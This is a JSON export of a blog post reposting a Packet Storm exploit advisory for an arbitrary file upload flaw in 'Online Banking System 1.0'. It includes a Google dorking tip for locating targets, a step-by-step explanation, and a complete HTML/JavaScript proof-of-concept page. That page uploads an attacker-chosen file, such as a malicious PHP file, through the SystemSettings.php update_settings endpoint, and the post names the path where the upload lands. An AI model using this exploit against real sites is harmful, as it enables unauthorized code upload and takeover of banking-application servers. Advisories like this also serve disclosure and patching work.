{"id":59104,"date":"2024-08-22T19:59:56","date_gmt":"2024-08-22T16:59:56","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180318\/onlinebankingsystem10-upload.txt"},"modified":"2024-08-22T19:59:56","modified_gmt":"2024-08-22T16:59:56","slug":"online-banking-system-1-0-arbitrary-file-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/online-banking-system-1-0-arbitrary-file-upload\/","title":{"rendered":"Online Banking System 1.0 Arbitrary File Upload"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : Online Banking System 1.0 Remote File Upload Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) |<br \/>| # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/banking.zip |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] This HTML page is designed to remotely upload PHP malicious files directly.<\/p>\n[+] Here\u2019s a breakdown of its components and functionality:<\/p>\n<p>HTML Structure:<br \/>DOCTYPE &amp; &lt;html&gt;: Defines the document type and language.<br \/>&lt;head&gt;: Contains meta-information about the document like character encoding and viewport settings, and the title of the page.<br \/>&lt;body&gt;: Contains the main content of the page.<\/p>\n<p>Form Elements:<br \/>&lt;form id=&#8221;uploadForm&#8221;&gt;: A form with the ID &#8220;uploadForm&#8221; that contains input fields and a button for file upload.<br \/>&lt;label&gt; and &lt;input&gt; fields: Collect information from the user:<br \/>Target IP: IP address where the file will be uploaded.<br \/>Attacker IP: The IP address of the attacker (though this field is not used in the script).<br \/>Attacker Port: The port number of the attacker (not used in the script).<br \/>File Input: Allows the user to select a file to upload.<br \/>&lt;button&gt;: A button that triggers the file upload process when clicked.<\/p>\n<p>JavaScript Functionality:<br \/>uploadFile(): Function executed when the &#8220;Upload File&#8221; button is clicked.<br \/>Collects input values: Retrieves values from the input fields and the selected file.<br \/>Validation: Checks if all fields are filled and a file is selected. Alerts the user if any field is missing.<br \/>FormData Object: Creates a FormData object to package the file and additional data (name with the value &#8216;PWNED&#8217;).<br \/>fetch API: Sends a POST request to the target IP with the file attached:<br \/>URL: http:\/\/${targetIP}\/banking\/classes\/SystemSettings.php?f=update_settings<br \/>Response Handling: Logs success or failure based on the server&#8217;s response. If the response is &#8216;1&#8217;, it indicates success; otherwise, it logs an error.<\/p>\n<p>Security Note:<br \/>Potential Risk: This script is for educational purposes, and its functionality (uploading a file to a specified server) could be misused. <br \/>It\u2019s crucial to ensure that any file upload functionality is properly secured and validated to prevent unauthorized access or attacks.<\/p>\n[+] Line 45 set url of target.<\/p>\n[+] Choose the target IP .<\/p>\n[+] Put any IP address of your own .<\/p>\n[+] Put any port .<\/p>\n[+] The path to upload the files : http:\/\/localhost\/banking\/uploads\/<\/p>\n[+] Save Code as html :<\/p>\n<p>&lt;!DOCTYPE html&gt;<br \/>&lt;html lang=&#8221;en&#8221;&gt;<br \/>&lt;head&gt;<br \/>&lt;meta charset=&#8221;UTF-8&#8243;&gt;<br \/>&lt;meta name=&#8221;viewport&#8221; content=&#8221;width=device-width, initial-scale=1.0&#8243;&gt;<br \/>&lt;title&gt;Direct File Upload&lt;\/title&gt;<br \/>&lt;\/head&gt;<br \/>&lt;body&gt;<\/p>\n<p>&lt;h2&gt;Direct File Upload&lt;\/h2&gt;<br \/>&lt;form id=&#8221;uploadForm&#8221;&gt;<br \/>&lt;label for=&#8221;targetIP&#8221;&gt;Target IP:&lt;\/label&gt;<br \/>&lt;input type=&#8221;text&#8221; id=&#8221;targetIP&#8221; name=&#8221;targetIP&#8221; required&gt;&lt;br&gt;&lt;br&gt;<\/p>\n<p>&lt;label for=&#8221;attackerIP&#8221;&gt;Attacker IP:&lt;\/label&gt;<br \/>&lt;input type=&#8221;text&#8221; id=&#8221;attackerIP&#8221; name=&#8221;attackerIP&#8221; required&gt;&lt;br&gt;&lt;br&gt;<\/p>\n<p>&lt;label for=&#8221;attackerPort&#8221;&gt;Attacker Port:&lt;\/label&gt;<br \/>&lt;input type=&#8221;number&#8221; id=&#8221;attackerPort&#8221; name=&#8221;attackerPort&#8221; required&gt;&lt;br&gt;&lt;br&gt;<\/p>\n<p>&lt;label for=&#8221;fileInput&#8221;&gt;Select File:&lt;\/label&gt;<br \/>&lt;input type=&#8221;file&#8221; id=&#8221;fileInput&#8221; name=&#8221;fileInput&#8221; required&gt;&lt;br&gt;&lt;br&gt;<\/p>\n<p>&lt;button type=&#8221;button&#8221; onclick=&#8221;uploadFile()&#8221;&gt;Upload File&lt;\/button&gt;<br \/>&lt;\/form&gt;<\/p>\n<p>&lt;script&gt;<br \/>function uploadFile() {<br \/>const targetIP = document.getElementById(&#8216;targetIP&#8217;).value;<br \/>const attackerIP = document.getElementById(&#8216;attackerIP&#8217;).value;<br \/>const attackerPort = document.getElementById(&#8216;attackerPort&#8217;).value;<br \/>const fileInput = document.getElementById(&#8216;fileInput&#8217;).files[0];<\/p>\n<p>if (!targetIP || !attackerIP || !attackerPort || !fileInput) {<br \/>alert(&#8216;Please fill in all fields and select a file.&#8217;);<br \/>return;<br \/>}<\/p>\n<p>const formData = new FormData();<br \/>formData.append(&#8216;name&#8217;, &#8216;PWNED&#8217;);<br \/>formData.append(&#8216;img&#8217;, fileInput);<\/p>\n<p>console.log(&#8220;(+) Uploading file&#8230;&#8221;);<\/p>\n<p>fetch(`http:\/\/${targetIP}\/banking\/classes\/SystemSettings.php?f=update_settings`, {<br \/>method: &#8216;POST&#8217;,<br \/>body: formData<br \/>})<br \/>.then(response =&gt; response.text())<br \/>.then(data =&gt; {<br \/>if (data === &#8216;1&#8217;) {<br \/>console.log(&#8220;(+) File upload seems to have been successful!&#8221;);<br \/>} else {<br \/>console.log(&#8220;(-) Oh no, the file upload seems to have failed!&#8221;);<br \/>}<br \/>})<br \/>.catch(error =&gt; console.error(&#8220;(-) Error during file upload:&#8221;, error));<br \/>}<br \/>&lt;\/script&gt;<\/p>\n<p>&lt;\/body&gt;<br \/>&lt;\/html&gt;<\/p>\n<p>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : Online Banking System 1.0 Remote File Upload Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) || # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/banking.zip |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] This HTML page is designed &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59104","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59104","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59104"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59104\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59104"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59104"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59104"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}